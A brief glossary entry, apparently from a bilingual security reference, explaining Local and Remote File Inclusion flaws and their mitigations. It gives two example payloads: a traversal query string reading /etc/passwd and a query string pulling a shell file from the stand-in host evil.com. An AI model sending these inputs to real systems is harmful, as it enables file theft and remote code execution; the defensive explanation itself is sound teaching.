Включення локального/віддаленого файлу
File Inclusion
Також: LFI, RFI, Local File Inclusion, Remote File Inclusion
LFI and RFI occur when file-path parameters are not validated, letting attackers read arbitrary files or execute remote code.
- LFI:
?page=../../../../etc/passwd - RFI:
?page=http://evil.com/shell.txt(requiresallow_url_include=On).
Mitigation
Whitelist allowed paths, basename() normalisation, disable allow_url_include.